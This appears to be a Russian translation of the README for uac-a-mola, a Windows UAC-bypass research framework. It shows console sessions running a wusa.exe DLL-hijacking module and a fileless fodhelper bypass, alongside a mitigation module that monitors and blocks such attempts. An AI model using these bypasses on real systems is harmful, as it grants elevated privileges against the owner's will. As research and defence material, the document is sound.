
Модульная система для атак и смягчения последствий обхода UAC в Windows, включающая захват DLL, бесфайловое выполнение и мониторинг в реальном времени для обнаружения и блокировки попыток повышения привилегий.
Для установки uac-a-mola необходимо выполнить следующие действия:
pip install -r requirements.txt
Uac-a-mola теперь готов к работе! Вы можете проверить его функциональность, введя:
cd uacamola
python uacamola.py
Это краткий раздел, объясняющий использование некоторых модулей uac-a-mola:
Использование модулей атак очень простое и вряд ли требует пояснений. Единственное, что нужно сделать — загрузить соответствующий модуль в фреймворк с помощью команды load, просмотреть параметры или входные данные с помощью команды show и выполнить модуль командой run:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
И другой пример:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
Использование методов смягчения также довольно просто, но они имеют несколько более сложную внутреннюю структуру, которая будет объяснена в этом разделе. Что касается использования, первое, что нужно сделать — загрузить доступный модуль смягчения:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
В этом случае нам нужно будет установить пароль, который агенты будут использовать для связи со слушателем, запускаемым в фреймворке uacamola. Агентов можно найти по пути uacamola/support/agents ; открыв эти файлы, мы можем увидеть пароль:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola будет паролем, используемым для аутентификации и связи, но мы можем его изменить. Другой обязательный параметр — путь к файлу, содержащему список бинарных файлов для мониторинга; для этих бинарных файлов должен существовать файл agent.pyw в путях агентов.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
Просто заполнив эти поля и выполнив команду run, uacamola начнет мониторинг всей активности, связанной с обходом UAC в бинарных файлах, указанных в списке. При обнаружении опасной активности она автоматически обрезает опасную ветвь (файловой системы или реестра) и запускает бинарный файл безопасным способом. Для выхода из этого режима просто нажмите клавишу ENTER.
Пожалуйста, сообщайте об ошибках на [email protected] или просто откройте issue на GitHub. Ваше сотрудничество ценится!
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ И НЕНАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО ЛЮБЫМ ИСКАМ, ЗА УБЫТКИ ИЛИ ДРУГИЕ ТРЕБОВАНИЯ, ВОЗНИКШИЕ В РЕЗУЛЬТАТЕ ДЕЙСТВИЯ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, СВЯЗАННЫЕ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ЕГО ИСПОЛЬЗОВАНИЕМ ИЛИ ДРУГИМИ ДЕЙСТВИЯМИ С НИМ. ВСЯКИЙ РАЗ, КОГДА ВЫ ВНОСИТЕ ВКЛАД В РЕПОЗИТОРИЙ, СОДЕРЖАЩИЙ УВЕДОМЛЕНИЕ О ЛИЦЕНЗИИ, ВЫ ЛИЦЕНЗИРУЕТЕ СВОЙ ВКЛАД НА ТЕХ ЖЕ УСЛОВИЯХ И СОГЛАШАЕТЕСЬ, ЧТО ВЫ ИМЕЕТЕ ПРАВО ЛИЦЕНЗИРОВАТЬ СВОЙ ВКЛАД НА ЭТИХ УСЛОВИЯХ. ЕСЛИ У ВАС ЕСТЬ ОТДЕЛЬНОЕ СОГЛАШЕНИЕ О ЛИЦЕНЗИРОВАНИИ ВАШИХ ВКЛАДОВ НА ДРУГИХ УСЛОВИЯХ, ТАКОЕ КАК СОГЛАШЕНИЕ О ЛИЦЕНЗИИ УЧАСТНИКА, ЭТО СОГЛАШЕНИЕ БУДЕТ ИМЕТЬ ПРИОРИТЕТ.